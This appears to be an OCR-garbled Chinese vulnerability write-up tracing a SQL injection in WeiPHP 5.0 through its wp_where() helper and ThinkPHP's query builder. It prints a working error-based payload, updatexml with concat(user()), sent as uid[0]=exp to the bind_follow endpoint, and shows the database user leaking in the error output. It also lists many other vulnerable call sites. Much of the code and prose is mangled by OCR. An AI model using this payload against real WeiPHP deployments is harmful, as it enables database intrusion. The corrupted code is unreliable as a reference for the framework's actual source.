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public function bind follow()

{
$publicid = $map ['publicid'] = I( name: "'publicid');
$uid = $map ['uid'] = I( name: 'uid');
$this->assign($map);

$info = M( name: "user follow')->where(wp where($map))->find();

$is ajax = I( name: 'is_ajax', default:0);
if ($is ajax) {...} elseif ($info ['follow id']) {...}

$data ['url'] = cookie( name: ' preview url_ ');

if ($info) {...} else {...}
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$this->assign( name: "url', $url);
return $this->fetch();

} @ Externally added files can be added to
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<?php
function I($name, $default = '', $filter = null, $datas = null)
{

return input($name, $default, $filter);

}
%Eé%ﬁ wp_where() -> where() -> find() IZ&#SZ
<?php

$info = M('user_follow')->where(wp_where($map))->find();

EE\LE wp_where()
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<?php
function wp_where($field)
{
if (!is_array($field)) {
return $field;
}

$res = [1;
foreach ($field as $key => $value) {
if (is_numeric($key) || (is_array($value) && count($value) == 3)) {
if (strtolower($value[1]) == 'exp' && !is_object($value[2])) {
$value[2] = Db::raw($value[2]);
}
$res[] = $value;
} elseif (is_array($value)) {
if (strtolower($value[@]) == 'exp' && !is_object($value[1])) {
$value[1] = Db::raw($value[l]);
}
$res[] = [
$key,
$value[@],
$value[1]
15
} else {
$res[] = [
$key,

3

$value



}
// dump($res);
return $res;

1z elseif 5@, MRENNFEREEAE, FE TR 0 BB exp, BBASHAT ob::raw() RHITRIAHES

} eléeif (is_érray($vaiue)) {
if (strtolower($valuel[0]) == 'exp' &5 !is object($value[1])) {

.-- $valuel[1] = Db::raw($valuel[1]); Svalue: {"exp
}

$valuel[0],
tvaTiial 11

wp_where()

+ vw B e = 35
Wariables
I+ 81 $key = "uid”
. := $res = {array} [1]
i= $wvalue = {array} [2]
ol 0= "Exp"
81 1 = ") and updatexml(1,concat(0x7e user(,0x7e),1) -- "
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Eaﬁ Db::raw() ﬁ)\ﬁu \think\Db::_ callStatic , $method ?ﬂ raw()

<?php
public static function __callStatic($method, $args)
{

return call_user_func_array([static::connect(), $method], $args);

caII_user_func_array @ﬂgj [static::connect(),$method] , EEiE static::connect()

<?php
public static function connect($config = [], $name = false, $query = '')
{

/] TENTECE 4L

$options = self::parseConfig($config ?: self::$config);

$query = $query ?: $options['query'];

/7 BB P R G S

self::$connection = Connection::instance($options, $name);

return new $query(self::$connection);
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public static function connect($config = [], $name = false, $query

{
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$options = self::parseConfig( config: $config ?: self::$config);

$query = $query ?: $options['query'];

(https://xzfile.aliyuncs.com/media/upload/picture/20191211230018-f1dd6632-1c26-1.png)

IREIAYZE \think\db\query 35, BBA call user func array [EIERIFLZE \think\db\query SETEY raw() Fi%,


https://xzfile.aliyuncs.com/media/upload/picture/20191211230018-f1dd6632-1c26-1.png

PREZERE

<?php
//\think\db\Query::raw
public function raw($value)

{

return new Expression($value);

RINREIFZE—NFRIXR, &S wo_where() IR[A] res
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function wp where($field) $rield: {publicid => "1", uid =
{
if (1is _array($field)) {
return $field;

o | ".—L'I'\".,-]'I

$res = [1; $res: {[3], [3]}([2]

foreach ($field as $key => $value) {...}
// dump($res);

return $res;

fFiinmcrtinn £11a 1Taaltrantant t€f11mAa nama — "Aahiia® t+ra+1 A~ —
wp_where()
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HAZE where()

<?php
public function where($field, $op = null, $condition = null)
{
$param = func_get_args();
array_shift($param);
return $this->parseWhereExp('AND', $field, $op, $condition, $param);

ﬁ)\ parseWhereExp()

<?php
protected function parseWhereExp($logic, $field, $op, $condition, array $param = [], $strict = false)
{
LB
if ($field instanceof Expression) {
return $this->whereRaw($field, is_array($op) ? $op : [], $logic);
} elseif ($strict) {
/1 fERT R AR
$where = [$field, $op, $condition, $logic];
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} elseif (is_array($field)) {

// RN EUA L E AR

return $this->parseArrayhWhereltems($field, $logic);
}
L

return $this;

,ﬁﬂ elseif %ﬁéﬂ%ﬁ, ﬁ)\éu parseArrayWhereItems()

<?php
protected function parseArrayWhereItems($field, $logic)
{
if (key($field) !== @) {
$where = [1];
foreach ($field as $key => $val) {
if ($val instanceof Expression) {
$where[] = [$key, 'exp', $vall;
} elseif (is_null($val)) {
$where[] = [$key, 'NULL', ''];

} else {
$where[] = [$key, is_array($val) ? 'IN' : '=', $val];
}
}
}
else {
/] BAMEAR
$where = $field;
}

if (lempty($where)) {

$this->options['where'][$logic] = isset($this->options['where'][$logic]) ? array_merge($this->options['where'][$logic], $where) : $where;

return $this;



B where FMHZ/FIRE sthis , RFHANE find() REL

<?php
public function find($data = null)

{
if ($data instanceof Query) {

return $data->find();

} elseif ($data instanceof \Closure) {
$data($this);
$data = null;

$this->parseOptions();
if ('is_null($data)) {
// ARBEZ AT A
$this->parsePkiWhere($data);
$this->options['data’'] = $data;
$result = $this->connection->find($this);
if ($this->options['fetch_sql']) {

return $result;

/] BEEALTE
if (empty($result)) {
return $this->resultToEmpty();



if ('empty($this->model)) {

/7 BRI R

$this->resultToModel($result, $this->options);
} else {

$this->result($result);

return $result;

ﬂi)\ $this->connection->find($this)



<?php
public function find(Query $query)

{
// srErERIE
$options = $query->getOptions();
$pk = $query->getPk($options);

$data = $options['data'];
$query->setOption('limit', 1);
$query->setOption('data’', $data);

// ERAHISQL
$sgql = $this->builder->select($query);

$query->removeOption('limit');
$bind = $query->getBind();
if ('empty($options['fetch_sql'])) {

/1 SFREEBRAAT HISQLIE )
return $this->getRealSql($sql, $bind);

/7 FAFEA
$result = $query->trigger('before_find');



if (!$result) {
/] PATEMN

$resultSet = $this->query($sql, $bind, $options['master'], $options['fetch_pdo']);

if ($resultSet instanceof \PDOStatement) {
// iR [BlPDOStatement i %
return $resultSet;

$result = isset($resultSet[0]) ? $resultSet[0]

return $result;
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ol model = null
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ERGEN.

[1e501] PROException in Connection.php line 687

SQLSTATE[HYQ0O]: General error: 1105 XPATH syntax error: '~root@localhost~'

&78. $this->debug(false, '', $master);
&79.
480. [/ EREERE
681. return $this-»>getResult($pdo, $procedure);
682, } catch (\PDOException $e) {
&683. if ($this->isBreak(%e)) {
&84, return $this-»>close()->query(%$sql, $bind, $master, $pdo);
&685. 1
&86.
687. throw new PDOException($e, $this->config, $this->getlastsql());
4688, } catch (\Throwable $e) {
&89, if ($this->isBreak(3%e)) {
&90. return $this-»close()->query($sql, $bind, $master, $pdo);
&91. 1
&92.
&93. throw %$e;
694, } catch (\Exception $e) {
&95. if ($this->isBreak(3%e)) {
ﬂ Elements Cansole Sources Metwork: Perfarmance Memaory Application Security Audits HackBar EditThisCookie

LOAD SPLIT EXECUTE TEST -~ sqLl - XS§ -~ LFI - SSTI -~ ENCODING -~ HASHING -

tp://php.local/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=) and updatexml(1,concat(0x7e,user(),0x7e),1) - +
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FIBEERAT w_where() BREFESEHAERN SQL EIIREIRIN, RIeRaUFEEEA.

Find in Path []Match case [ JWords []Regex? [+] File mask:  *.php e Y.

(= wp_where 100+ matches in 29+ files

In Project Module Directory Scope E:\code\php\weiphp5.0\application =
thas_subscribe = intval(M('public_follow')-=where(wp_where($map])-=value('has_subscribe’); draw...\ApiData 129
-=where(wp where($map)) hometmodel\File
$has subscribe = intval(M('public_follow’)-=whereiwp where($map))-=value('haz_subscribe); drawh...\ApiData 2
$info = D{'common/Publics)-=wherelwp where($map))-=find(]; modelyWeixin 4

tappMsgData = M('material_news)-=wherelwp where($map))-=select);

fres = M('lucky follow')-=where(wp where(fmap])-=update($save); drawh..\ApiData 79

$role = M('servicer')-=where(wp_where($map])- =value('role’;

$res = M{'lucky follow’)-=where(wp where(fmap1])-=update($save);

$page_data = M( $name )-=field ( empty ( &fields ) ? true : $fields )-=where [ wp_where( $map ) }-=order ( 'id DESC' }-= controller OrCode 52

fres = $this-=where(wp where($map))-=update(}data); ShopSlideshow

applicaticn/eommen.php
996 $model_id
997 );

0QQ tmndel = M( name: "madel ' Y->wherelwn wherel tman))
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->field( field: true)
->select();
foreach ($model as $value) {

e | Ctrl+Enter Open in Find Window
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tean
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[1e501] PROException in Connection.php line 687

SQLSTATE[HY®@O]: General error: 1105 XPATH syntax error:

&78.
&79.
&80.
681.
&682.
483,
&84,
&85.
a86.
&87.
488,
&89,
46%0.
6%1.
&692.
693,
494,
6%95.

x ol

LOAD

URL

Elements

SPLIT EXECUTE TEST -~ saLr - X85 -~ LFI ~ SSTI -~ ENCODING -~ HASHING

$this->debug(false, "', $master);

// iR[OESERE
return $this->getResult($pdo, $procedure);
} catch (\PDOException %e) {
if ($this-»isBreak(%$e)) {
return $this->close()->query(%$sql, $bind, %master, $pdo);
}

throw new PDOException($e, $this->config, $this->getlastsgl());
} catch (\Throwable %e) {
if ($this-»>isBreak(%e)) {
return $this->close()->query($sql, $bind, %master, $pdo);
1

throw %$e;
} catch (\Exception %e) {
if ($this-»isBreak(%e)) {

Console Sources Metwork Performance Memory Application Security Audits HackBar EditThisCookie

http://php.local/public/index.php/weixin/message/_send_by_group|

"~root@localhost~"
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